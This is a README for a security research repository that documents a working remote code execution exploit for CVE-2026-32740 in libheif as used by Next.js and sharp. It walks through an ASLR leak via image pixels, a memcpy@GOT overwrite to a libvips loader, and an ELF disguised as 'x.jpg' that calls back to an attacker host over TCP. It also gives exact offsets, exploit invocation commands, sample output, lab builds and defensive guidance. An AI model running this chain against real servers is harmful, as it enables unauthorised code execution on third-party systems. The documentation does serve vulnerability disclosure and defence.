

PoC and lab

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Content

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Repository reading copy. Created from documentation in [FORTBRIDGE-UK/libheif-grid-nextjs-rce](https://github.com/FORTBRIDGE-UK/libheif-grid-nextjs-rce), pinned to commit [77772816fe39](https://github.com/FORTBRIDGE-UK/libheif-grid-nextjs-rce/commit/77772816fe39). GitHub navigation and file listings are omitted. This is selected documentation; repository code is never checked out, built or run.

README.md

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libheif grid-to-GOT Next.js RCE

Working proof of concept that turns CVE-2026-32740 in the hardcoded Next.js/sharp image stack into a chosen-address write and a validated `/usr/bin/id` callback.

This is a private Fortbridge research repository. Use it only against the included lab or another system you are explicitly authorised to test.

What the PoC proves

The exploit uses only the target's HTTP upload and image-optimization routes:

1. It repeatedly submits an ASLR-leak AVIF and compares pointers in the returned pixels with every exact libvips profile in the manifest.
1. It proceeds only when one profile and one randomized libvips base are

supported by all required independent anchors.

1. It resolves the two-byte fake-node selector using the selected profile. The stock profile requires a complete marked heap record. Each PIE profile uses its independently measured allocator page-lane relationship.

1. It uses libvips' internal copy of GLib's `g_module_open_full`, a GModule routine that wraps `dlopen` to load a native shared library from a file path. The exploit calculates its runtime address as the recovered libvips base plus the hardcoded profile offset `0x3e995e`. Loading the library runs its constructor.

1. On the attacker machine, it compiles a small shared object whose constructor runs the fixed command `/usr/bin/id`. It sends that ELF through the public upload route under the image name `x.jpg` and media type `image/jpeg`.

1. It generates a 116x33 four-tile AVIF whose Cb overflow redirects the Cr plane to `memcpy@GOT - 16`.

1. The first chosen-address row stores `uploads/x.jpg` immediately before the GOT slot and replaces `memcpy@GOT` with the derived GModule loader. The next row calls that loader with the library path already in RDI.

1. Loading the shared object invokes its constructor, which returns the `/usr/bin/id` output over TCP. A per-attempt token prevents a stale callback from being counted as success; the returned `uid=...` line is the proof.

The original libvips-relative validation runs are recorded in `evidence/libvips-gmodule-rce-10x.json`. All ten fresh processes returned valid `/usr/bin/id` output with ten distinct randomized libvips bases and ten independently derived loader addresses.

The exact Ubuntu run data are in `evidence/libvips-gmodule-pie-rce-10x.json`. The exact Debian 13 APT run data are in `evidence/debian13-apt-libvips-gmodule-rce-10x.json`.

Measured results

We tested the complete exploit against 10 newly started Ubuntu Node processes and 10 newly started Debian Node processes. All 20 runs reached command execution and returned the target's `/usr/bin/id` output. The exploit also calculated a different GModule-loader address for every randomized libvips base.

Before creating the final payload, the exploit may need several ASLR-leak attempts. Each attempt uploads the leak AVIF, sends it through the optimisation route, and checks the returned PNG for four pointers that identify one profile and one libvips base. Ubuntu needed between 3 and 23 attempts. Debian needed between 3 and 15. Incomplete or ambiguous evidence causes another attempt instead of a guessed profile.

The project also has 96 automated regression tests. These are code-level checks, not 96 additional exploit runs. They cover profile validation, returned-pointer classification, heap

calibration, address calculation, payload construction, and safe failure when evidence does not match a supported target.

Tested stacks

Both x86-64 targets use Next.js 15.5.23, sharp 0.34.4, bundled libvips 8.17.2, bundled libheif 1.20.2, ASLR, and NX. Their native runtimes differ:

Profile	Node	glibc	libstdc++	Selector relation
Ubuntu	25.8.1, PIE ET_DYN	2.43-2ubuntu2.4	6.0.35	$0x6000 - 0x690 = 0x5970$
Debian 13	Debian APT 20.19.2, PIE ET_DYN	2.41-12+deb13u4	6.0.33	$0x6000 - 0x3a0 = 0x5c60$

The complete build IDs and SHA-256 values are in `profiles/native_stack_profiles_pie.json`. The Debian package, artifact, route-smoke, and five-lifetime layout measurements are captured in `evidence/debian13-profile-derivation.json`. The Debian target uses the standard distribution package `nodejs=20.19.2+dfsg-1+deb13u3`; Node is not compiled from source.

Hardcoded profile values

The chain does not need the randomized Node base. Its control target is the internal `g_module_open_full` routine inside libvips, whose randomized base is recovered from returned pixels. Each versioned profile hardcodes the build-specific constants required by the exploit:

- returned-pointer offsets used to recover the libvips base and select a compatible native-stack profile;
- the `memcpy@GOT` offset and the `g_module_open_full` offset plus its validating instruction bytes;
- allocator page-lane and page-to-fake-node relationships;
- object-layout offsets, tile geometry, row width, and application paths.

The randomized libvips base, the resulting runtime loader address, and the final two-byte selector are not hardcoded. They are derived for each target process from returned pixels and the selected profile.

The exploit fails closed when a profile is malformed or returned pixels do not select exactly one supported profile/base pair. The stock profile also requires its complete returned heap record. A profile is an exact compatibility claim, so the operator should verify the target artifacts offline before using it.

The loader ABI is important. The overwritten call supplies the library path in RDI, an image-row pointer in RSI, and the 58-byte copy length in RDX. This exact profiled GModule routine uses only supported flag bits from ESI and does not dereference RDX on the successful

load path. An offline harness validated that entry point and instruction signature before it was used in the measured runs.

Requirements

- Linux x86-64
- Python 3.11 or later
- `ffmpeg` with the `libaom-av1` encoder
- a C compiler available as `cc` on the attacker machine
- an IPv4 callback address reachable from the target
- Node.js and npm to run the lab directly, or Docker for either target

Install the only Python dependency:

```
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install -r requirements.txt
```

Confirm AV1 encoding support:

```
ffmpeg -hide_banner -encoders | grep libaom-av1
```

Start the included lab

The lab intentionally accepts arbitrary uploads and passes selected files to sharp. Do not expose it to an untrusted network.

```
cd lab
npm ci
npm run build
npm run start
```

The target is then available at `http://127.0.0.1:3000`.

To build an Ubuntu lab image around the Node artifact used by the first PIE profile:

```
./scripts/build_ubuntu2604_container.sh
docker run --rm --network host \
  fortbridge/libheif-grid-nextjs-rce:ubuntu2604
```

The digest-locked Ubuntu 26.04 image builds the exact Node 25.8.1 PIE artifact recorded in the profile, verifies its SHA-256, then copies it into a clean runtime stage. The source

build is required because Node's official Linux binary is ET_EXEC, while this profile intentionally tests a PIE executable.

To reproduce the Debian target with Debian's supported APT package:

```
./scripts/build_debian13_container.sh
docker run --rm --network host \
  fortbridge/libheif-grid-nextjs-rce:debian13
```

The image is built from a digest-locked Debian 13 slim base. npm is present only in the builder stage; the final target installs Node from Debian APT and runs the same application and routes.

Run the exploit

For a local lab, use loopback for both the target and callback:

```
python3 exploit.py \
  --target http://127.0.0.1:3000 \
  --callback-host 127.0.0.1 \
  --json-output result.json
```

The default manifest describes the stock ET_EXEC lab. The strict PIE manifest contains both Ubuntu and Debian profiles. The exploit selects between them from the returned pixels; `--profile` is not needed:

```
python3 exploit.py \
  --target http://127.0.0.1:3000 \
  --callback-host 127.0.0.1 \
  --profile-manifest profiles/native_stack_profiles_pie.json
```

For an authorised remote target, `--callback-host` must be an attacker IPv4 address that the target can reach. The listener binds to all local interfaces by default:

```
python3 exploit.py \
  --target https://authorised-target.example \
  --callback-host 203.0.113.10 \
  --callback-port 31337 \
  --json-output result.json
```

A successful result contains:

```

{
  "success": true,
  "profile_id": "node-25.8.1-pie-sharp-0.34.4-linux-x64",
  "libvips_base": "0x7f1234400000",
  "control_target": {
    "module": "libvips",
    "module_base": "0x7f1234400000",
    "module_build_id": "2c8b33114a735268d2211ca2003bc4a327b81411",
    "symbol": "g_module_open_full",
    "exported": false,
    "offset": "0x3e995e",
    "address": "0x7f12347e995e",
    "derivation": "0x7f1234400000 + 0x3e995e = 0x7f12347e995e",
    "abi": "path_rdi_flags_esi_error_rdx",
    "validating_bytes":
"4157415641554989fd31ff415455534883ec48897424144889542418e8b1fdff"
  },
  "heap_calibration": {
    "derived_selector": "0x5970",
    "selector_source": "profile_page_lane",
    "profile_candidate_selector": "0x5970",
    "profile_selector_evidence": {
      "anchor_page_low16": "0x6000",
      "fake_node_delta_from_anchor_page": "-0x690",
      "derivation": "(0x6000 + -0x690) & 0xffff = 0x5970"
    },
  },
  "record_candidate_selectors": [],
  "minimum_observations": 1,
  "observations": [
    {
      "response_sha256": "...",
      "selector_source": "profile_page_lane",
      "candidate_selectors": ["0x5970"],
      "matches": []
    }
  ]
},
"upload_contract": {
  "calibration_leaks": {"content_type": "image/avif"},
  "callback_library": {
    "filename": "x.jpg",
    "remote_path": "uploads/x.jpg",
    "content_type": "image/jpeg"
  },
},

```

```
"payload": {"content_type": "image/avif"}
},
"classification": {
  "selected_attempt": 4,
  "selected_profile_id": "node-25.8.1-pie-sharp-0.34.4-linux-x64",
  "selected_base": "0x7f1234400000",
  "selected_anchors": [
    {"offset": "0x1be1b0", "value": "0x7f12345be1b0", "repetitions": 1},
    {"offset": "0x1c3120", "value": "0x7f12345c3120", "repetitions": 3},
    {"offset": "0x1c3130", "value": "0x7f12345c3130", "repetitions": 3},
    {"offset": "0x33cd0c", "value": "0x7f123473cd0c", "repetitions": 1}
  ],
  "rejected_candidates": []
},
"callback": {
  "token_matched": true,
  "proof_command": "/usr/bin/id",
  "command_output": "uid=1000(research) gid=1000(research) groups=1000(research)"
}
}
```

The terminal also prints the result directly:

```
[RCE] /usr/bin/id -> uid=1000(research) gid=1000(research) groups=1000(research)
```

The optimizer request will usually end with a connection drop and the target process will normally terminate after the callback. Those events are recorded for context but are not success conditions.

Command-line options

<code>--target URL</code>	Target base URL (required)
<code>--callback-host IPV4</code>	Address embedded in the uploaded library (required)
<code>--callback-port PORT</code>	Callback and listener port (default : 31337)
<code>--listen-host IPV4</code>	Local bind address (default : 0.0.0.0)
<code>--leak-attempts N</code>	Maximum ASLR-leak requests (default : 128)
<code>--callback-timeout SEC</code>	Listener timeout (default : 12)
<code>--trigger-timeout SEC</code>	Optimizer request timeout (default : 20)
<code>--profile-manifest FILE</code>	Profile manifest (default : repository manifest)
<code>--profile ID</code>	Restrict classification to one exact profile
<code>--library-name NAME</code>	Override the image-looking library filename
<code>--remote-upload-dir DIR</code>	Override the profile's upload directory
<code>--json-output FILE</code>	Save the complete result
<code>--concise</code>	Omit the full JSON result from the terminal

The complete library path, including its terminating NUL, must fit the selected profile's path field. The default `uploads/x.jpg` satisfies the selected profile's 16-byte constraint. Overrides must retain an image suffix.

Native-stack profiles

`profiles/native_stack_profiles.json` and `profiles/native_stack_profiles_pie.json` bind exploit layouts to exact artifacts and ABI measurements. Each profile identifies Node, Next.js, sharp, libvips, libheif, glibc and libstdc++, then records the libvips control helper, GOT relocation, returned-pointer anchors, forged red-black-tree/ImagePlane layout, heap relation, tile geometry and application paths.

The runtime loader rejects unknown or missing fields, malformed numbers and digests, unsafe paths, and inconsistent geometry before making an HTTP request. A profile is a verified compatibility record, not a guess based on an HTTP banner or OS name.

Each libvips classifier entry declares independent module-relative anchors, the minimum number of times each anchor must appear, how many distinct anchors are required, the alpha-channel byte window to scan, the qword stride, and the expected page alignment. For every returned image, the classifier subtracts each candidate profile's anchor offsets from the returned qwords. It accepts a result only when exactly one profile/base pair reaches the declared consensus. The two PIE profiles deliberately share the same bundled libvips binary and therefore the same three core anchors. Extra profile-specific qwords at stable deltas from that base distinguish the surrounding Ubuntu and Debian native layouts. Missing or cross-matched evidence produces `no_match` or `ambiguous`, never a guessed profile.

Server, framework, image-geometry, OS, and glibc hints are supporting metadata only. They are recorded in the result but never identify a binary and never resolve an ambiguous pointer signature. If evidence is missing, incomplete, mismatched, unknown, or supports

more than one pair, the exploit stops before compiling or uploading the callback library and before generating, uploading, or triggering the final AVIF.

The regression suite includes an exact second-build response fixture from libvips 8.18.4. Its two independent anchors do not cross-match the existing libvips 8.17.2 profile; one anchor also has a ten-occurrence threshold to test that repeated values cannot replace independent anchors.

Successful JSON output records the selecting response attempt, selected profile and base, each anchor value and repetition count, and every rejected candidate. It also records each heap response hash, matching response offset, arena sentinel, heap pointers, libvips references, signed relation and derived selector. Earlier no-match attempts remain in the `classification.attempts` array for auditability. The fresh-process harness compacts those attempts to their decision outcomes so committed evidence does not duplicate large pointer inventories from every retry.

The heap selector has two explicit strategies. The stock profile uses `response_record`: a candidate must be inside a complete marked record with the expected chunk size, arena sentinel, paired heap pointers and three libvips-relative references. The PIE profiles use `profile_page_lane`: the two-byte selector is calculated from a measured allocator page lane and a profile-specific signed page-to-fake-node relation. Five fresh diagnostic Debian lifetimes measured the same `-0x3a0` relation before it was accepted; the Ubuntu profile retains its independently established `-0x690` relation. Late tail records are retained only as diagnostics because they did not reliably predict the allocation used by the following request.

Verify a local stack against every declared identity before using its profile:

```
python3 tools/verify_profile_artifacts.py \
  --manifest profiles/native_stack_profiles_pie.json \
  --node /path/to/the/verified/pie/node \
  --libvips lab/node_modules/@img/sharp-libvips-linux-x64/lib/libvips-cpp.so.8.17.2 \
  --libc /usr/lib/x86_64-linux-gnu/libc.so.6 \
  --libstdcxx /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.35 \
  --next-package lab/node_modules/next/package.json \
  --sharp-package lab/node_modules/sharp/package.json \
  --libvips-package lab/node_modules/@img/sharp-libvips-linux-x64/package.json \
  --versions-json lab/node_modules/@img/sharp-libvips-linux-x64/versions.json
```

This offline verifier checks hashes, ELF build IDs and type, Node version, the libvips `memcpy` jump slot, the control-target bytes, npm package versions, and bundled libvips/libheif versions. It is deliberately not imported or run by the remote exploit.

Run the regression suite and fresh-process validation with:

```
python3 -m unittest discover -s tests -v
python3 scripts/fresh_process_validation.py \
  --node /path/to/the/verified/pie/node \
  --manifest profiles/native_stack_profiles_pie.json \
  --leak-attempts 128 \
  --lifetimes 10 \
  --output evidence/libvips-gmodule-pie-rce-10x.json

python3 scripts/fresh_process_validation.py \
  --docker-image fortbridge/libheif-grid-nextjs-rce:debian13 \
  --manifest profiles/native_stack_profiles_pie.json \
  --lifetimes 10 \
  --output evidence/debian13-apt-libvips-gmodule-rce-10x.json
```

Repository layout

exploit.py	remote orchestrator and callback verifier
control_target.py	libvips base-plus-offset target derivation
profile_classifier.py	pure returned-pixel profile/base classifier
heap_calibrator.py	repeated returned-pixel heap calibration
rce_payload.py	proven memcpy-GOT AVIF payload
stack_profile.py	strict native-stack profile loader
profiles/native_stack_profiles.json	exact supported artifact and ABI identity
profiles/native_stack_profiles_pie.json	exact PIE artifact and allocator profile
tools/verify_profile_artifacts.py	offline exact-artifact verifier
containers/ubuntu2604/	Ubuntu 26.04 Node 25.8.1 PIE target
containers/debian13/	Debian APT target and diagnostic GDB image
scripts/build_ubuntu2604_container.sh	reproducible Ubuntu target build
scripts/build_debian13_container.sh	reproducible Debian target build
scripts/fresh_process_validation.py	fresh-process validation harness
tests/	strict-loader and exploit regressions
tests/fixtures/	exact cross-build returned-pixel evidence
avif_grid.py	lossless AV1 grid/ISO-BMFF generator
callback/callback.c	fixed /usr/bin/id library constructor
payloads/aslr-leak-*.avif	returned-pixel information disclosure
lab/	hardcoded Next.js target
evidence/	fresh-process validation results

`rce_payload.py` contains only the final demonstrated chain. Abandoned BSS, vtable and rb-tree-GOT experiments were intentionally excluded.

Scope and limitations

- The target needs an upload path that preserves an image-named shared object in a location reachable by the native loader, plus a sharp optimization path for AVIF.
- The included lab accepts the ELF as `uploads/x.jpg` with `image/jpeg`. Strong magic validation, generated storage names, or storage outside the working directory can break the staging step.
- The libvips offset applies only to the exact verified libvips artifact. The runtime address is always calculated from remotely returned pointers.
- The low-16-bit plane-map redirection depends on a profile-specific allocator page lane and anchor-page-to-fake-node relation. Deployments with different native artifacts or allocator layouts require a separately verified profile.
- The PoC proves native execution by returning `/usr/bin/id` output; it does not provide an arbitrary command interface or attempt to keep the corrupted target process alive.

Defensive guidance

- Upgrade to a libheif release containing the CVE-2026-32740 fix and rebuild every dependent sharp/libvips component.
- Reject or isolate AVIF/HEIF processing until the deployed native dependency chain has been verified.
- Validate upload magic, generate server-side names and store uploads outside the application working directory on a `noexec` mount.
- Run image decoding in a disposable, least-privileged worker without secrets or unrestricted outbound network access.
- Monitor native image workers for crashes, unexpected module loads, or file access against upload directories.